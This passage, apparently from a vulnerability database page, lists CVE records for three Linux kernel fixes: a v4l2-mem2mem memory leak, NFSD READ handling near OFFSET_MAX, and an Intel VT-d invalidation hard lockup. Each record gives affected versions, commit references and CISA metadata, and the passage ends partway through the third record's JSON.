https://git.kernel.org/stable/c/8f94b49a5b5d386c0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: be2fff656322e82f215730839063c2c2ca73d14b , < 3dd8abb0ed0e0a7c66d6d677c86ccb188cc39333 (git) Affected: be2fff656322e82f215730839063c2c2ca73d14b , < 0175f2d34c85744f9ad6554f696cf0afb5bd04e4 (git) Affected: be2fff656322e82f215730839063c2c2ca73d14b , < afd2a82fe300032f63f8be5d6cd6981e75f8bbf2 (git) Affected: be2fff656322e82f215730839063c2c2ca73d14b , < dc866b69cc51af9b8509b4731b8ce2a4950cd0ef (git) Affected: be2fff656322e82f215730839063c2c2ca73d14b , < 0c9550b032de48d6a7fa6a4ddc09699d64d9300d (git) Affected: be2fff656322e82f215730839063c2c2ca73d14b , < 90029b9c979b60de5cb2b70ade4bbf61d561bc5d (git) Affected: be2fff656322e82f215730839063c2c2ca73d14b , < 5dc319cc3c4f7b74f7dfba349aa26f87efb52458 (git) Affected: be2fff656322e82f215730839063c2c2ca73d14b , < 9c23ef30e840fedc66948299509f6c2777c9cf4f (git) Affected: be2fff656322e82f215730839063c2c2ca73d14b , < 8f94b49a5b5d386c038e355bef6347298aabd211 (git)
Linux	Linux	Affected: 4.19 Unaffected: 0 , < 4.19 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:27:57.849Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3dd8abb0ed0e0a7c66d6d677c86ccb188cc39333"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0175f2d34c85744f9ad6554f696cf0afb5bd04e4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/afd2a82fe300032f63f8be5d6cd6981e75f8bbf2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dc866b69cc51af9b8509b4731b8ce2a4950cd0ef"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0c9550b032de48d6a7fa6a4ddc09699d64d9300d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/90029b9c979b60de5cb2b70ade4bbf61d561bc5d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5dc319cc3c4f7b74f7dfba349aa26f87efb52458"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9c23ef30e840fedc66948299509f6c2777c9cf4f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8f94b49a5b5d386c038e355bef6347298aabd211"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27077",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:43:52.226383Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:29.139Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:30.670Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/media/v4l2-core/v4l2-mem2mem.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3dd8abb0ed0e0a7c66d6d677c86ccb188cc39333",
              "status": "affected",
              "version": "be2fff656322e82f215730839063c2c2ca73d14b",
              "versionType": "git"
            },
            {
              "lessThan": "0175f2d34c85744f9ad6554f696cf0afb5bd04e4",
              "status": "affected",
              "version": "be2fff656322e82f215730839063c2c2ca73d14b",
              "versionType": "git"
            },
            {
              "lessThan": "afd2a82fe300032f63f8be5d6cd6981e75f8bbf2",
              "status": "affected",
              "version": "be2fff656322e82f215730839063c2c2ca73d14b",
              "versionType": "git"
            },
            {
              "lessThan": "dc866b69cc51af9b8509b4731b8ce2a4950cd0ef",
              "status": "affected",
              "version": "be2fff656322e82f215730839063c2c2ca73d14b",
              "versionType": "git"
            },
            {
              "lessThan": "0c9550b032de48d6a7fa6a4ddc09699d64d9300d",
              "status": "affected",
              "version": "be2fff656322e82f215730839063c2c2ca73d14b",
              "versionType": "git"
            },
            {
              "lessThan": "90029b9c979b60de5cb2b70ade4bbf61d561bc5d",
              "status": "affected",
              "version": "be2fff656322e82f215730839063c2c2ca73d14b",
              "versionType": "git"
            },
            {
              "lessThan": "5dc319cc3c4f7b74f7dfba349aa26f87efb52458",
              "status": "affected",
              "version": "be2fff656322e82f215730839063c2c2ca73d14b",
              "versionType": "git"
            },
            {
              "lessThan": "9c23ef30e840fedc66948299509f6c2777c9cf4f",
              "status": "affected",
              "version": "be2fff656322e82f215730839063c2c2ca73d14b",
              "versionType": "git"
            },
            {
              "lessThan": "8f94b49a5b5d386c038e355bef6347298aabd211",
              "status": "affected",
              "version": "be2fff656322e82f215730839063c2c2ca73d14b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/media/v4l2-core/v4l2-mem2mem.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.19"
            },
            {
              "lessThan": "4.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: v4l2-mem2mem: fix a memleak in v4l2_m2m_register_entity\n\nThe entity-\u003ename (i.e. name) is allocated in v4l2_m2m_register_entity\nbut isn\u0027t freed in its following error-handling paths. This patch\nadds such deallocation to prevent memleak of entity-\u003ename."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:09:56.704Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3dd8abb0ed0e0a7c66d6d677c86ccb188cc39333"
        },
        {
          "url": "https://git.kernel.org/stable/c/0175f2d34c85744f9ad6554f696cf0afb5bd04e4"
        },
        {
          "url": "https://git.kernel.org/stable/c/afd2a82fe300032f63f8be5d6cd6981e75f8bbf2"
        },
        {
          "url": "https://git.kernel.org/stable/c/dc866b69cc51af9b8509b4731b8ce2a4950cd0ef"
        },
        {
          "url": "https://git.kernel.org/stable/c/0c9550b032de48d6a7fa6a4ddc09699d64d9300d"
        },
        {
          "url": "https://git.kernel.org/stable/c/90029b9c979b60de5cb2b70ade4bbf61d561bc5d"
        },
        {
          "url": "https://git.kernel.org/stable/c/5dc319cc3c4f7b74f7dfba349aa26f87efb52458"
        },
        {
          "url": "https://git.kernel.org/stable/c/9c23ef30e840fedc66948299509f6c2777c9cf4f"
        },
        {
          "url": "https://git.kernel.org/stable/c/8f94b49a5b5d386c038e355bef6347298aabd211"
        }
      ],
      "title": "media: v4l2-mem2mem: fix a memleak in v4l2_m2m_register_entity",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27077",
    "datePublished": "2024-05-01T13:04:51.518Z",
    "dateReserved": "2024-02-19T14:20:24.217Z",
    "dateUpdated": "2026-05-12T11:51:30.670Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-48827 (GCVE-0-2022-48827)

Vulnerability from cvelistv5 – Published: 2024-07-16 11:44 – Updated: 2026-05-12 10:12

Title

NFSD: Fix the behavior of READ near OFFSET_MAX

Summary

In the Linux kernel, the following vulnerability has been resolved: NFSD: Fix the behavior of READ near OFFSET_MAX Dan Aloni reports: > Due to commit 8cfb9015280d ("NFS: Always provide aligned buffers to > the RPC read layers") on the client, a read of 0xfff is aligned up > to server rsize of 0x1000. > > As a result, in a test where the server has a file of size > 0x7fffffffffffffff, and the client tries to read from the offset > 0x7ffffffffffff000, the read causes loff_t overflow in the server > and it returns an NFS code of EINVAL to the client. The client as > a result indefinitely retries the request. The Linux NFS client does not handle NFS?ERR_INVAL, even though all NFS specifications permit servers to return that status code for a READ. Instead of NFS?ERR_INVAL, have out-of-range READ requests succeed and return a short result. Set the EOF flag in the result to prevent the client from retrying the READ request. This behavior appears to be consistent with Solaris NFS servers. Note that NFSv3 and NFSv4 use u64 offset values on the wire. These must be converted to loff_t internally before use -- an implicit type cast is not adequate for this purpose. Otherwise VFS checks against sb->s_maxbytes do not work properly.

Severity ?

No CVSS data available.

Assigner

Linux

References

4 references

URL	Tags
https://git.kernel.org/stable/c/1726a39b0879acfb4…
https://git.kernel.org/stable/c/c6eff5c4277146a78…
https://git.kernel.org/stable/c/44502aca8e02ab32d…
https://git.kernel.org/stable/c/0cb4d23ae08c48f6b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 1726a39b0879acfb490b22dca643f26f4f907da9 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < c6eff5c4277146a78b4fb8c9b668dd64542c41b0 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 44502aca8e02ab32d6b0eb52e006a5ec9402719b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 0cb4d23ae08c48f6bf3c29a8e5c4a74b8388b960 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.10.220 , ≤ 5.10.* (semver) Unaffected: 5.15.24 , ≤ 5.15.* (semver) Unaffected: 5.16.10 , ≤ 5.16.* (semver) Unaffected: 5.17 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T15:25:01.549Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1726a39b0879acfb490b22dca643f26f4f907da9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c6eff5c4277146a78b4fb8c9b668dd64542c41b0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/44502aca8e02ab32d6b0eb52e006a5ec9402719b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0cb4d23ae08c48f6bf3c29a8e5c4a74b8388b960"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-48827",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:57:40.257913Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:11.464Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:32.268Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs3proc.c",
            "fs/nfsd/nfs4proc.c",
            "fs/nfsd/nfs4xdr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1726a39b0879acfb490b22dca643f26f4f907da9",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "c6eff5c4277146a78b4fb8c9b668dd64542c41b0",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "44502aca8e02ab32d6b0eb52e006a5ec9402719b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "0cb4d23ae08c48f6bf3c29a8e5c4a74b8388b960",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs3proc.c",
            "fs/nfsd/nfs4proc.c",
            "fs/nfsd/nfs4xdr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.16.*",
              "status": "unaffected",
              "version": "5.16.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.17",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.220",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.24",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.17",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Fix the behavior of READ near OFFSET_MAX\n\nDan Aloni reports:\n\u003e Due to commit 8cfb9015280d (\"NFS: Always provide aligned buffers to\n\u003e the RPC read layers\") on the client, a read of 0xfff is aligned up\n\u003e to server rsize of 0x1000.\n\u003e\n\u003e As a result, in a test where the server has a file of size\n\u003e 0x7fffffffffffffff, and the client tries to read from the offset\n\u003e 0x7ffffffffffff000, the read causes loff_t overflow in the server\n\u003e and it returns an NFS code of EINVAL to the client. The client as\n\u003e a result indefinitely retries the request.\n\nThe Linux NFS client does not handle NFS?ERR_INVAL, even though all\nNFS specifications permit servers to return that status code for a\nREAD.\n\nInstead of NFS?ERR_INVAL, have out-of-range READ requests succeed\nand return a short result. Set the EOF flag in the result to prevent\nthe client from retrying the READ request. This behavior appears to\nbe consistent with Solaris NFS servers.\n\nNote that NFSv3 and NFSv4 use u64 offset values on the wire. These\nmust be converted to loff_t internally before use -- an implicit\ntype cast is not adequate for this purpose. Otherwise VFS checks\nagainst sb-\u003es_maxbytes do not work properly."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T18:47:54.555Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1726a39b0879acfb490b22dca643f26f4f907da9"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6eff5c4277146a78b4fb8c9b668dd64542c41b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/44502aca8e02ab32d6b0eb52e006a5ec9402719b"
        },
        {
          "url": "https://git.kernel.org/stable/c/0cb4d23ae08c48f6bf3c29a8e5c4a74b8388b960"
        }
      ],
      "title": "NFSD: Fix the behavior of READ near OFFSET_MAX",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2022-48827",
    "datePublished": "2024-07-16T11:44:12.019Z",
    "dateReserved": "2024-07-16T11:38:08.903Z",
    "dateUpdated": "2026-05-12T10:12:32.268Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26891 (GCVE-0-2024-26891)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

iommu/vt-d: Don't issue ATS Invalidation request when device is disconnected

Summary

In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Don't issue ATS Invalidation request when device is disconnected For those endpoint devices connect to system via hotplug capable ports, users could request a hot reset to the device by flapping device's link through setting the slot's link control register, as pciehp_ist() DLLSC interrupt sequence response, pciehp will unload the device driver and then power it off. thus cause an IOMMU device-TLB invalidation (Intel VT-d spec, or ATS Invalidation in PCIe spec r6.1) request for non-existence target device to be sent and deadly loop to retry that request after ITE fault triggered in interrupt context. That would cause following continuous hard lockup warning and system hang [ 4211.433662] pcieport 0000:17:01.0: pciehp: Slot(108): Link Down [ 4211.433664] pcieport 0000:17:01.0: pciehp: Slot(108): Card not present [ 4223.822591] NMI watchdog: Watchdog detected hard LOCKUP on cpu 144 [ 4223.822622] CPU: 144 PID: 1422 Comm: irq/57-pciehp Kdump: loaded Tainted: G S OE kernel version xxxx [ 4223.822623] Hardware name: vendorname xxxx 666-106, BIOS 01.01.02.03.01 05/15/2023 [ 4223.822623] RIP: 0010:qi_submit_sync+0x2c0/0x490 [ 4223.822624] Code: 48 be 00 00 00 00 00 08 00 00 49 85 74 24 20 0f 95 c1 48 8b 57 10 83 c1 04 83 3c 1a 03 0f 84 a2 01 00 00 49 8b 04 24 8b 70 34 <40> f6 c6 1 0 74 17 49 8b 04 24 8b 80 80 00 00 00 89 c2 d3 fa 41 39 [ 4223.822624] RSP: 0018:ffffc4f074f0bbb8 EFLAGS: 00000093 [ 4223.822625] RAX: ffffc4f040059000 RBX: 0000000000000014 RCX: 0000000000000005 [ 4223.822625] RDX: ffff9f3841315800 RSI: 0000000000000000 RDI: ffff9f38401a8340 [ 4223.822625] RBP: ffff9f38401a8340 R08: ffffc4f074f0bc00 R09: 0000000000000000 [ 4223.822626] R10: 0000000000000010 R11: 0000000000000018 R12: ffff9f384005e200 [ 4223.822626] R13: 0000000000000004 R14: 0000000000000046 R15: 0000000000000004 [ 4223.822626] FS: 0000000000000000(0000) GS:ffffa237ae400000(0000) knlGS:0000000000000000 [ 4223.822627] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 4223.822627] CR2: 00007ffe86515d80 CR3: 000002fd3000a001 CR4: 0000000000770ee0 [ 4223.822627] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 4223.822628] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400 [ 4223.822628] PKRU: 55555554 [ 4223.822628] Call Trace: [ 4223.822628] qi_flush_dev_iotlb+0xb1/0xd0 [ 4223.822628] __dmar_remove_one_dev_info+0x224/0x250 [ 4223.822629] dmar_remove_one_dev_info+0x3e/0x50 [ 4223.822629] intel_iommu_release_device+0x1f/0x30 [ 4223.822629] iommu_release_device+0x33/0x60 [ 4223.822629] iommu_bus_notifier+0x7f/0x90 [ 4223.822630] blocking_notifier_call_chain+0x60/0x90 [ 4223.822630] device_del+0x2e5/0x420 [ 4223.822630] pci_remove_bus_device+0x70/0x110 [ 4223.822630] pciehp_unconfigure_device+0x7c/0x130 [ 4223.822631] pciehp_disable_slot+0x6b/0x100 [ 4223.822631] pciehp_handle_presence_or_link_change+0xd8/0x320 [ 4223.822631] pciehp_ist+0x176/0x180 [ 4223.822631] ? irq_finalize_oneshot.part.50+0x110/0x110 [ 4223.822632] irq_thread_fn+0x19/0x50 [ 4223.822632] irq_thread+0x104/0x190 [ 4223.822632] ? irq_forced_thread_fn+0x90/0x90 [ 4223.822632] ? irq_thread_check_affinity+0xe0/0xe0 [ 4223.822633] kthread+0x114/0x130 [ 4223.822633] ? __kthread_cancel_work+0x40/0x40 [ 4223.822633] ret_from_fork+0x1f/0x30 [ 4223.822633] Kernel panic - not syncing: Hard LOCKUP [ 4223.822634] CPU: 144 PID: 1422 Comm: irq/57-pciehp Kdump: loaded Tainted: G S OE kernel version xxxx [ 4223.822634] Hardware name: vendorname xxxx 666-106, BIOS 01.01.02.03.01 05/15/2023 [ 4223.822634] Call Trace: [ 4223.822634] <NMI> [ 4223.822635] dump_stack+0x6d/0x88 [ 4223.822635] panic+0x101/0x2d0 [ 4223.822635] ? ret_from_fork+0x11/0x30 [ 4223.822635] nmi_panic.cold.14+0xc/0xc [ 4223.822636] watchdog_overflow_callback.cold.8+0x6d/0x81 [ 4223.822636] __perf_event_overflow+0x4f/0xf0 [ 4223.822636] handle_pmi_common ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/f873b85ec762c5a6a…
https://git.kernel.org/stable/c/d70f1c85113cd8c2a…
https://git.kernel.org/stable/c/34a7b30f56d30114b…
https://git.kernel.org/stable/c/2b74b2a92e524d7c8…
https://git.kernel.org/stable/c/c04f2780919f20e2c…
https://git.kernel.org/stable/c/025bc6b41e020aeb1…
https://git.kernel.org/stable/c/4fc82cd907ac07564…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6f7db75e1c469057fe7588ed959328ead771ccc7 , < f873b85ec762c5a6abe94a7ddb31df5d3ba07d85 (git) Affected: 6f7db75e1c469057fe7588ed959328ead771ccc7 , < d70f1c85113cd8c2aa8373f491ca5d1b22ec0554 (git) Affected: 6f7db75e1c469057fe7588ed959328ead771ccc7 , < 34a7b30f56d30114bf4d436e4dc793afe326fbcf (git) Affected: 6f7db75e1c469057fe7588ed959328ead771ccc7 , < 2b74b2a92e524d7c8dec8e02e95ecf18b667c062 (git) Affected: 6f7db75e1c469057fe7588ed959328ead771ccc7 , < c04f2780919f20e2cc4846764221f5e802555868 (git) Affected: 6f7db75e1c469057fe7588ed959328ead771ccc7 , < 025bc6b41e020aeb1e71f84ae3ffce945026de05 (git) Affected: 6f7db75e1c469057fe7588ed959328ead771ccc7 , < 4fc82cd907ac075648789cc3a00877778aa1838b (git)
Linux	Linux	Affected: 5.0 Unaffected: 0 , < 5.0 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26891",
                "options": [
                  {
                    "Exploitation": "none"
